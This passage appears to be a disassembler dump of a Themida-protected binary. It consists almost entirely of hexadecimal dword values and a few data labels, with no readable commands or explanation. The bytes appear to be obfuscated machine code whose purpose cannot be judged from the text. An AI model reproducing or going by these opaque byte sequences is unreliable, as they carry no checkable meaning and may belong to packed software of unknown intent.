4815A1BDh, 0A5BD8306h, 64819h, 50840Fh, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h dd 33F35DC3h, 0FE1F18C2h, 8BE4D73Dh, 4820B59Dh, 0B806h dd 0E5BB0000h, 926FE5Bh, 482ADD85h, 648D8D06h, 6606484Bh dd 0FFB38DBFh, 0FFBF0FE1h, 31E99D29h, 0BD830648h, 6482425h dd 0CA840F00h, 60000003h, 8BF78B66h, 480DD9BDh, 0BD836106h dd 6482425h, 0CD840F01h, 60000003h, 18799D8Bh, 8A0F0648h dd 3, 61D8BF0Fh, 2425BD83h, 0F030648h, 37986h, 6A6000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 9570F6C3h, 0C864287Bh, 666EA445h, 9589D98Ch, 64800F1h dd 8B04E180h, 482D51BDh, 0FC90A06h, 10C84h, 1AEF8100h dd 8B00F3EFh, 48238585h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1404h, 0C3504000h, 0C98533A6h, 6A06482Ah dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h dd 45000000h, 3CF7C355h, 0EF1687B8h, 12E95B7Ch, 2E000000h dd 6037BBA3h, 9F78A576h, 67473E6Fh, 9BAAD27Bh, 8B669040h dd 8B6650D9h, 8E0F90DEh, 6, 2A659589h, 6A0648h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 64C35040h, 0B12B3DAAh dd 3E5FB06Fh, 447DAC68h, 0BE9F1h, 0A7D20000h, 26AE6964h dd 2805CC4Ah, 240481DEh, 0EDA8653h, 8D0Fh, 95FF0000h, 6481C01h dd 7E9h, 3F8FF200h, 0BCC13093h, 0B92C8589h, 9529064Bh dd 6480FADh, 1CEE9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1904h, 0C3524200h, 398761D0h, 0B70F260Dh dd 24858BD8h, 6A064BB9h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 9523C357h, 0D68A0BACh dd 0E9A0DB22h, 0Ch, 0F6D2AF9Bh, 80F986F5h, 19983A54h, 0C786B3h dd 18h, 5E9h, 0AC5FAE00h, 0B58BCE15h, 64BB928h, 0F9BBCF81h dd 858B5788h, 6482BF1h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 16h, 66C35545h, 0C381CE8Dh, 2AB2BD71h, 0B70F0689h dd 0DA8B66D9h, 2385858Bh, 6A0648h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 140424h, 53430000h, 8A0FF6C3h, 6, 1051BD8Bh dd 81660648h, 89F0D3F3h, 0CB800446h, 0DDB35085h, 6A243489h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h dd 45000000h, 906DC355h, 0B5FFF5FEh, 64BB924h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0A7C35343h, 460E1B86h dd 0A368AF65h, 0F8D44F0h, 385h, 0F98B6600h, 5C240481h dd 8D72DA13h, 4BB92C85h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1604h, 0C3554500h, 901FF4F5h, 90FC8A50h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0FBC35343h dd 46A79412h, 0E216407Ch, 4B73BB51h, 95FF754Eh, 6481C01h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 75C35040h dd 8092A6B8h, 0B6AA8F37h, 0D99D0B96h, 6106481Bh, 242585C7h dd 30648h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 180424h, 56460000h, 2A2F9AC3h, 0BF0F4A07h, 2CBD83DEh dd 64BB9h, 48840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 160424h, 52420000h, 4118C4C3h, 40E9h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 830A3F30h, 14819589h, 30500648h, 4400110Ch, 0E8C10111h dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h dd 11043001h, 7504E983h, 8B00EBE7h, 0D9B70FC0h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0C8C35646h, 25BD83E4h dd 3064824h, 420850Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 34505BC3h, 320B9406h dd 0EE9D8h, 0C9910000h, 3BDB7BDEh, 0FC4FC81Eh, 0AF97AD6Ah dd 0B92CBD83h, 0F00064Bh, 3DD84h, 0E5BD8B00h, 0FF06482Ch dd 4BB92CB5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1904h, 0C3564600h, 6F6351EAh, 850F8AF2h, 6, 5E1BD8Bh dd 95FF0648h, 6480E35h, 7800BBF9h, 0B58B67D8h, 64BB920h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 7C35141h dd 0BD8B5C5Ah, 648157Dh, 19E19D8Bh, 8A0F0648h, 17h, 12E9h dd 88612B00h, 3B80E621h, 0A99C518Dh, 53C6D74Fh, 0C74A0130h dword_588968 dd 1000106h, 0DE900h, 1AA70000h, 700D0B65h, 91DC4082h ; DATA XREF: Themida_:00551CDDo dd 962570E6h, 13E860h, 0C50D0000h, 63175899h, 91134455h dd 7D8247F3h, 0A51BB3ACh, 0DEBF668Bh, 0FB8B5A92h, 0B0BF5061h dd 96556B6Ah, 0B92CB5FFh, 6A064Bh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 150424h, 55450000h, 0FFA52EC3h, 481D5995h dd 79858906h, 8B064832h, 4BB920B5h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 4675E10Ch dd 858BC7D2h, 6481049h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 0EFC35040h, 94290271h, 66330D74h, 8689FB8Bh dd 0C4h, 0A93224BBh, 19958B0Dh, 6A06480Ah, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0AA0EC356h dd 8DC94E4Fh, 0C99D8Bh, 0C2830648h, 0CE804h, 88660000h dd 6B50588Ch, 0E03C7FE3h, 0BB663D94h, 895F8CD2h, 0BF662050h dd 858D2179h, 64BCE09h, 8689F88Bh, 0B8h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 14h, 0EDC35646h, 2890Fh dd 0D98B0000h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 0FAE85C3h, 387h, 0DA8B6600h, 0B92CB5FFh dd 0EB81064Bh, 54045F6h, 23E195FFh, 6A0648h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 4B03A0C3h dd 26CAFA38h, 0E9518E6Eh, 0Dh, 59B5E3A9h, 8DB81257h, 0B8D52C60h dd 5F539686h, 0B8666050h, 96610560h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 18h, 0ADC35040h, 0D6F9D433h, 6E9h dd 0C22D4900h, 0FFAD0342h, 4BB92CB5h, 0DA8B5106h, 2BDBBF5Bh dd 95FF5598h, 6480E2Dh, 6860Fh, 9D290000h, 6481505h, 1CA1BD83h dd 0F000648h, 6B84h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1B04h, 0C3534300h, 0E83BFD01h, 0E5ED986Eh dd 13E9h, 6F0CF00h, 6AEAFA58h, 1C25F42Bh, 0D2A429F2h, 252EE7EDh dd 4814BB50h, 348973A5h, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1904h, 0C3554500h, 0A6737084h, 0BD0396ABh dd 6482E69h, 0B92CB5FFh, 0CE9064Bh, 9D000000h, 89037E6Bh dd 0E812A730h, 0FFF734DFh, 48271995h, 2DBF6606h, 2CB5FF39h dd 8B064BB9h, 481E2DBDh, 4195FF06h, 6A06480Bh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h dd 533C353h, 0DC6F6D15h, 0F10F976h, 680h, 79BD8B00h, 906482Ch dd 4805A585h, 0CDBD8306h, 206480Ch, 39840Fh, 0B5890000h dd 6481945h, 0FD5858Bh, 80BF0648h, 0C66AB4FEh, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h dd 8E303AC3h, 1B8C1903h, 0C7FABF0Fh, 480E6985h, 6, 0B3ADBB00h dd 0D6E935DFh, 8BFFFFF3h, 53006AC1h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 43CEE89Bh dd 69BD0BB6h, 8D06480Ah, 4832FD85h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 0D3812C27h dd 1F1E86Bh, 60525090h, 0F61DD8Ah, 0C58A6031h, 0FE8h, 0BE291C00h dd 131F23A8h, 3FDDB8C2h, 29A97E51h, 585A615Ah, 50516050h dd 5A310F52h, 0B9665B58h, 906109B6h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 16h, 93C35646h, 0BB66D559h, 0BD8B3B2Bh dd 6480479h, 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 140424h, 56460000h, 6A70C3h, 20A59D8Bh, 858D0648h, 64CC193h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 81C35343h dd 897B9476h, 6A05C083h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 18042444h, 41000000h, 72C1C351h, 8B7D7D2Dh dd 480D71BDh, 0F575006h, 48Ah, 0CEBF6600h, 4895FC0h, 0F9BD8924h dd 8B064825h, 482AEDBDh, 6A006A06h, 0F2E38000h, 277D95FFh dd 6A0648h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h dd 55450000h, 0BD898CC3h, 6480C65h, 8DF98B66h, 4B9C148Dh dd 0D3E38106h, 0FF49AAEAh, 55006AD1h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 7F2C02B2h dd 0BD83FBCFh, 6481949h, 9F850F01h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 0A93FC355h, 0F7CD76D8h, 9D8BBB68h, 6480A5Dh, 1FB5BD89h dd 26A0648h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Bh, 48C35747h, 2E69E46Dh, 0E88893F7h, 0Ch, 32849D96h dd 188DE00Bh, 0ADE93390h, 31DD9D8Bh, 905B0648h, 0AE8h dd 23103100h, 512F247h, 665C5FDEh, 5B68AABBh, 7109BB50h dd 6690676Eh, 0F632D381h, 26E98501h, 95FF0648h, 64823E1h dd 27DD8D89h, 30E90648h, 0E800000Eh, 0 dd 9DED815Dh, 8B064CC1h, 4819C19Dh, 8EDF8006h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 25C35242h, 0B99D3323h dd 8D064819h, 4B974485h, 4D9D8B06h, 5006481Eh, 89DA8B66h dd 81662404h, 646590E7h, 35FFh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 140424h, 51410000h, 9501CAC3h dd 6480A51h, 258964h, 0E9000000h, 9, 9BE62A0Ch, 126ADB9Ch dd 2D85FF2Dh, 3106480Ah, 480A6985h, 6AFF6A06h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 0D994C357h, 0FC768102h, 27B5B5FFh, 5B570648h, 0AA595FFh dd 29E90648h, 66000001h, 0F6ACEB81h, 89F900B0h, 48272D85h dd 8B70E606h, 6671E4DFh, 613CDA8Bh, 10A830Fh, 800F0000h dd 2, 0BF66F98Bh, 0B60F1EEEh, 0F9BF0FC8h, 6BAh, 999D8B00h dd 8B06481Ch, 4E8C1C1h, 0DC58589h, 1530648h, 481BD1BDh dd 0F7665B06h, 259501E2h, 2B064814h, 13880FC8h, 0E9000000h dd 0Eh, 521C8521h, 57458DE7h, 0A3A12D6Eh, 0D18B6414h, 0E75B509h dd 0A9E90648h, 0E9000000h, 0Dh, 0EE9F7142h, 0BBCF3F5Bh dd 582182C3h, 19830FCFh, 53000000h, 12E9h, 14F0AD00h, 758E8A73h dd 0C1B25C3Dh, 7FADF2Eh, 5BA0C51Ah, 1858Bh, 0BD8B0000h dd 64804C9h, 8907C083h, 48310D85h, 0C08306h, 267FEB81h dd 8B66745Ch, 0FD03BFAh, 1283h, 2D9D8B00h, 0E906481Dh dd 44h, 1800Fh, 8BF90000h, 0FFFFFF8Dh, 659501FFh, 8306480Ch dd 840F01E1h, 28h, 7E28CB81h, 0A583226Ch, 0FFFFFFFFh, 199D8BFEh dd 89064830h, 195h, 48D0F00h, 66000000h, 0E9A86ABBh, 0 dd 45E1B58Dh, 6A064Ch, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1B0424h, 53430000h, 0B8C562C3h, 26C59896h, 64D78017h dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h dd 51410000h, 6643FEC3h, 7E81Ch, 94CF0000h, 0E19663C2h dd 75BD235Fh, 5B064827h, 15860Fh, 0BE80000h, 1000000h dd 0B7102540h, 1A1F14ECh, 0BB66AE6Dh, 0FF5F2C06h, 48306195h dd 0E6B9F906h, 6A00000Dh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 89A8C352h, 4829218Dh dd 8B665206h, 0E1835BFBh, 8D9529FCh, 0FC064800h, 0DD19D8Bh dd 0C02B0648h, 28598529h, 9D890648h, 6482089h, 9589D22Bh dd 6482A49h, 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 26C35545h, 0D0A6928h dd 32C99D0Bh, 13E90648h, 3D000000h, 30722237h, 0D3064D36h dd 0F75E8B01h, 76969EC3h, 6A8FC3h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 160424h, 57470000h, 94280BC3h, 12E9h, 9C0B6E00h dd 19F47F6Bh, 4934891Fh, 0AF1A112Ah, 0D82D79Bh, 88h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0E6C35343h, 6AD008E3h dd 0BB664A39h, 958B0AFEh, 6480A19h, 3880Fh, 0B70F0000h dd 358D8BF9h, 6606480Fh, 1F25F381h, 8BC28B50h, 8BC10318h dd 0D1C18B18h, 8BC203E8h, 8D895818h, 6481401h, 0BD83F98Bh dd 64819A5h, 61840F00h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1B042444h, 40000000h, 1690C350h dd 0FA9AF532h, 8B66B3B4h, 0B8DEh, 8D8D0000h, 6484B64h dd 326D9589h, 0E1FF0648h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 14h, 3CC35545h, 152D9D8Bh, 85890648h, 64826DDh dd 2425BD83h, 0F000648h, 50984h, 15958900h, 8306480Bh dd 482425BDh, 840F0106h, 511h, 2425BD83h, 0F030648h, 4CE86h dd 0FBB70F00h, 51006A60h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1904h, 0C3514100h, 0BD4A5173h, 0CF80815Dh dd 0D98C66B7h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 17h, 0BC35545h, 60F22889h, 0B58BF78Bh, 6482EC1h, 4E18061h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0FBC35242h dd 85858B60h, 66064829h, 0C388DE81h, 0B58D0161h, 0A06480Fh dd 40840FC9h, 66000001h, 8B26AABFh, 48238585h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 77DA2B70h, 0E9F8014Eh, 10h, 5C9D5E31h, 373EDF12h, 9C7E7AEDh dd 0D9E5B96Ch, 2AC98533h, 0BD230648h, 64829DDh, 810F5250h dd 5, 676D87BBh, 4895F4Ah, 505F5124h, 14E9h, 0F126C00h dd 0B9D9BD2Eh, 0FB057148h, 8BF83FEEh, 0CE04B387h, 6A5F67h dd 2DC98501h, 0B8680648h, 810951DEh, 0DD472434h, 8E9094Eh dd 0EB000000h, 77B123BAh, 0FFEFA66Fh, 481C0195h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 0DF29AF58h, 1BDCC28Fh, 1AE759BBh, 99D8B76h, 8906482Ah dd 4BB92C85h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1404h, 0C3504000h, 0C78166C4h, 9D0B209Fh, 64818C9h dd 2C7E9h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1804h, 0C3504000h, 0EB6A2A88h, 12E823h, 62DD0000h, 6B0EE677h dd 5A723CD1h, 8B5758D9h, 0A0A30D64h, 3235BD2Bh, 8B5B0648h dd 4BB92485h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1404h, 0C3514100h, 12E927h, 0B50B0000h, 1612BD91h, 866674Ch dd 0BCFE3CFDh, 705EDA20h, 70B0BF66h, 1800C7h, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 0D440FC3h, 9E85783h, 0FB000000h, 373BB1Fh, 0A96A20ECh dd 1F819509h, 0F5B0648h, 682h, 0D9D0300h, 8B064828h, 4BB928B5h dd 6E806h, 7FA10000h, 0F9B8EE6Ah, 5FE8CF80h, 2BF1858Bh dd 0EE90648h, 0A0000000h, 357A6A53h, 0ECD01A98h, 0B3DC9A5Fh dd 42BF664Bh, 0E9068976h, 5, 34E69D18h, 85858B4Ch, 6A064823h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 9A4C355h, 44285BC1h, 8E0F44h, 89000000h dd 6A0446h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h dd 57470000h, 4E3789C3h, 8B6632C1h, 5E896FEh, 2A000000h dd 5827ED12h, 14E95250h, 0A4000000h, 43025398h, 0CC61C74Ah dd 2AD9ECEAh, 0D5CDBC01h, 0F679BDFh, 12E831h, 84740000h dd 758875EBh, 882A3617h, 0AA02F8A0h, 0CDFFE3EBh, 5B585A5Bh dd 0E9606050h, 0Dh, 4B5D2F23h, 55865982h, 0CB510289h, 0F606177h dd 8Ah, 8A0F00h, 61000000h, 10E89661h, 0B5000000h, 337646D1h dd 0D8D23177h, 6322CED9h, 0F924E36h, 284h, 5BDC8A00h, 0B924B5FFh dd 8589064Bh, 6480EFDh, 25C8DB68h, 10E875h, 36A30000h dd 0C120698Eh, 0B111A38Ch, 0B9487115h, 50608C09h, 13E95Bh dd 0CD8B0000h, 752AB5BAh, 2D35B1B1h, 2366A036h, 1E017CBDh dd 815B6176h, 0CB242434h, 6A753Ah, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1D0424h, 51410000h, 94AF4DC3h, 2DF557E2h dd 80939EF6h, 0DB80F9E3h, 2C858DC5h, 6A064BB9h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h dd 0DCD6C350h, 0F19D89EFh, 9006482Ah, 8B50D88Bh, 6A90DAh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 7760BEC3h, 0FF74B754h, 481C0195h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 0B760FE18h dd 52006A61h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h dd 0C3524200h, 8B536F2Ah, 8AC4450h, 0E3810CF3h, 2392403Ch dd 242585C7h, 30648h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1B0424h, 55450000h, 0F6546CC3h, 3325B537h dd 0DF8BF8ECh, 0B92CBD83h, 0F00064Bh, 0E84h, 0C1858900h dd 0E906481Bh, 1Eh, 50F8B70Fh, 110C30h, 0C1011144h, 443010E8h dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh, 64001104h dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h, 4300111h dd 4E98311h, 0EBE775h, 6AC08Bh, 3E850h, 58200000h, 448958C3h dd 44810424h, 140424h, 50400000h, 6A09C3h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 0E741DCC3h dd 0E3D2EAB2h, 1F75BD33h, 0BD830648h, 6482425h, 2D850F03h dd 6A000004h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1D042444h, 43000000h, 0C00DC353h, 394F2B03h, 0DE7BF305h dd 0AE9h, 0C400B200h, 8521190Eh, 89E7521Ch, 4813ED9Dh dd 2CBD8306h, 64BB9h dd 3E6840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1D0424h, 57470000h, 9112E6C3h, 0A02B465Ch, 9D50C45h dd 48320D9Dh, 28C0F06h, 0B7000000h, 2CB5FFA8h, 0F8064BB9h dd 0E3595FFh, 6A0648h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 190424h, 52420000h, 0F25E4CC3h, 892F9D03h, 482A898Dh dd 20B58B06h, 0BB064BB9h, 52D84070h, 106C7h, 6A0001h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 8448F6C3h, 0E19D8B7Fh, 8B06481Eh, 482F11BDh, 8B609606h dd 6116B0D0h, 0EE950h, 0B9EF0000h, 6E4B9916h, 0A56B399h dd 1B29CE4h, 2CB5FF96h, 6A064BB9h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 2825C351h dd 699D89FEh, 0FF064825h, 481D5995h, 0E58D2906h, 8B064800h dd 4BB920B5h, 27C78106h, 8B3F45D4h, 48104985h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 73306ADh, 0F90B11FDh, 46E52BBFh, 0C486894Dh, 0E9000000h dd 7, 0E5C9D663h, 8B93D529h, 480A1995h, 57006A06h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 896C8E63h, 480A4185h, 4C28306h, 1FC59D8Bh, 12E90648h dd 8F000000h, 0DB81E1E0h, 0D0127FD9h, 283044D4h, 0EF2559C3h dd 20508995h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 18h, 1CC35545h, 0C3AEDC07h, 7D9589h, 858D0648h, 64BCE09h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 82C35242h dd 14FCC170h, 8960842Fh, 4809298Dh, 818D3306h, 6106482Dh dd 68B0Fh, 9D090000h, 6481FE5h, 0B88689h, 6AF90000h, 14E900h dd 945C0000h, 49912999h, 8E97B60Dh, 9789F0F8h, 7E837EEBh dd 0B5FF77EBh, 64BB92Ch, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 18h, 6DC35646h, 0F229C8A8h, 5E9h, 0B654AC00h dd 95FFFC88h, 64823E1h, 0F6096F8h, 287h, 61616000h, 28C0F50h dd 8B000000h, 6A96FEh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 180424h, 51410000h, 0EA74CC3h, 0FA8BF61Ah, 0FF13C380h dd 4BB92CB5h, 0FDBD8B06h, 0FF06480Dh, 480E2D95h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 0C60F3AC5h, 816084DBh, 917240EFh, 0A1BD833Ah, 6481Ch dd 49840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 160424h, 56460000h, 7218BC3h, 96DE8B66h, 6A9650h, 3E850h dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 1E7C84C3h, 0ED9D8BCBh, 0FF064820h, 4BB92CB5h, 81665106h dd 5FBDC0EFh, 271995FFh, 6A0648h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1C0424h, 50400000h, 0D13848C3h, 3508AEB3h dd 0B5FF7AAEh, 64BB92Ch, 14D1BD8Bh, 95FF0648h, 6480B41h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 40C35343h dd 957F52E4h, 0F83CB7E0h, 0CCDBD83h, 0F020648h, 4484h dd 2860F00h, 8A000000h, 0D5858BF9h, 0BB06480Fh, 60739F15h dd 0D3DBD33h, 0C60648h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1404h, 0C3534300h, 0FF960D6h, 8B61C9BFh dd 481A059Dh, 6985C706h, 6480Eh, 0BF000000h, 55B1887Ch dd 0FFF2B0E9h, 51006AFFh, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1A04h, 0C3514100h, 692F6F36h, 8BABE4F7h dd 51006AC1h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h dd 0C3514100h, 1BC4FB6Bh, 8D9D74A4h, 4832FD85h, 38C0F06h dd 0F000000h, 5050DBBFh, 63BB6652h, 0BF310FD9h, 2367EA58h dd 489585Ah, 50006A24h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1604h, 0C3504000h, 0E901D2B0h, 14h, 46FABCD8h, 6AFBC1A9h dd 0D4A3E132h, 8A58629h, 0DA089DF2h, 1B0DBD8Bh, 6A0648h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0A7C35141h dd 0F04C1943h, 9D167DDh, 481D8DB5h, 0AD958906h, 6A064832h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h dd 0C3564600h, 0BBCE7103h, 486238E2h, 0D235858Dh, 0C083064Ch dd 52006A05h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h dd 0C3524200h, 891BC29Ch, 480CEDBDh, 8B665006h, 240489FEh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 69C35242h dd 97880758h, 0E381006Ah, 4C5F2789h, 6A006Ah, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 160424h, 52420000h, 0C0341AC3h dd 0AD97BF66h, 277D95FFh, 6A0648h, 3E850h, 58200000h, 448958C3h dd 44810424h, 160424h, 50400000h, 2BCB75C3h, 14E9h, 46A90500h dd 0FDABA39Eh, 0AF332E2Dh, 13B745Ah, 2590623h, 148D8D01h dd 6A064B9Ch, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 37B1C357h, 0DA602B86h, 830F591Eh dd 6, 0E31BD8Bh, 0F600648h, 18Dh, 8166F500h, 6104CFDFh dd 6AD1FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h dd 55450000h, 9D8B71C3h, 6481811h, 11EF8166h, 49BD8331h dd 1064819h, 82850Fh, 6AF90000h, 0A1BD3102h, 8906480Ah dd 4804F1B5h, 0AE95006h, 0CF000000h, 0B8AFA1C1h, 4237DD80h dd 24048926h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 15h, 0C0C35141h, 12E9A3h, 0F2980000h, 0D2A0228Dh, 60E99C91h dd 0FA1E5DE8h, 0E4226970h, 0FFF8B70Fh, 4823E195h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 85894525h, 6480CFDh, 0CE3E9h db 0 byte_589FA9 db 0E8h, 2 dup(0) ; DATA XREF: Themida_:0053F2F4o dd 815D0000h, 4CD23FEDh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1704h, 0C3554500h, 0FBFEB5D6h, 25859D89h dd 7E90648h, 0A1000000h, 0CA1E6D4Ah, 0BD8BFDE2h, 6482815h dd 9744858Dh, 8166064Bh, 90A6BEDBh, 0AE9h, 0E953F500h dd 3895878Dh, 503FFB14h, 0BE960h, 83FC0000h, 44F0FDF4h dd 0F099AD4Ch, 44BE66E0h, 6A90619Dh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 0AA2EC355h dd 0C158D36Fh, 600F5214h, 0FE8h, 0E3A35600h, 0AEF52EF7h dd 16C0DA3Ah, 2FFC0262h, 0AE8h, 168A4B00h, 6055D774h, 5B8A9BA4h dd 12E959h, 1F970000h, 0E5C1ABA7h, 78274D91h, 84EBD571h dd 6232A5F0h, 35FF6461h, 0 dd 2A29BD8Bh, 0B70F0648h, 258964F8h, 0 dd 85FFDF8Bh, 6480A2Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 15h, 0DDC35343h, 9D89601Ah, 648233Dh, 0C3D08166h dd 0FF6A6110h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 17h, 85C35747h, 66AC008Ah, 0AC53CB81h, 29E1B5FFh, 95FF0648h dd 6480AA5h, 12EE9h, 0C98D8900h, 0B006482Eh, 0D59D8900h dd 0E6064806h, 88B0F70h, 53000000h, 2DB1B509h, 0E45F0648h dd 599D8B71h, 5106480Bh, 5FFA8B66h, 830F613Ch, 0FBh, 2F959D8Bh dd 0B60F0648h, 6FCF81C8h, 0BA41A08Ch, 6, 8BDBBF0Fh, 0C78166C1h dd 0E8C18F81h, 0DBD3104h, 66064814h, 0BF66E2F7h, 0BD8B0E54h dd 6480C65h, 8C0FC82Bh, 4, 0FA08BF66h, 0BD8BD18Bh, 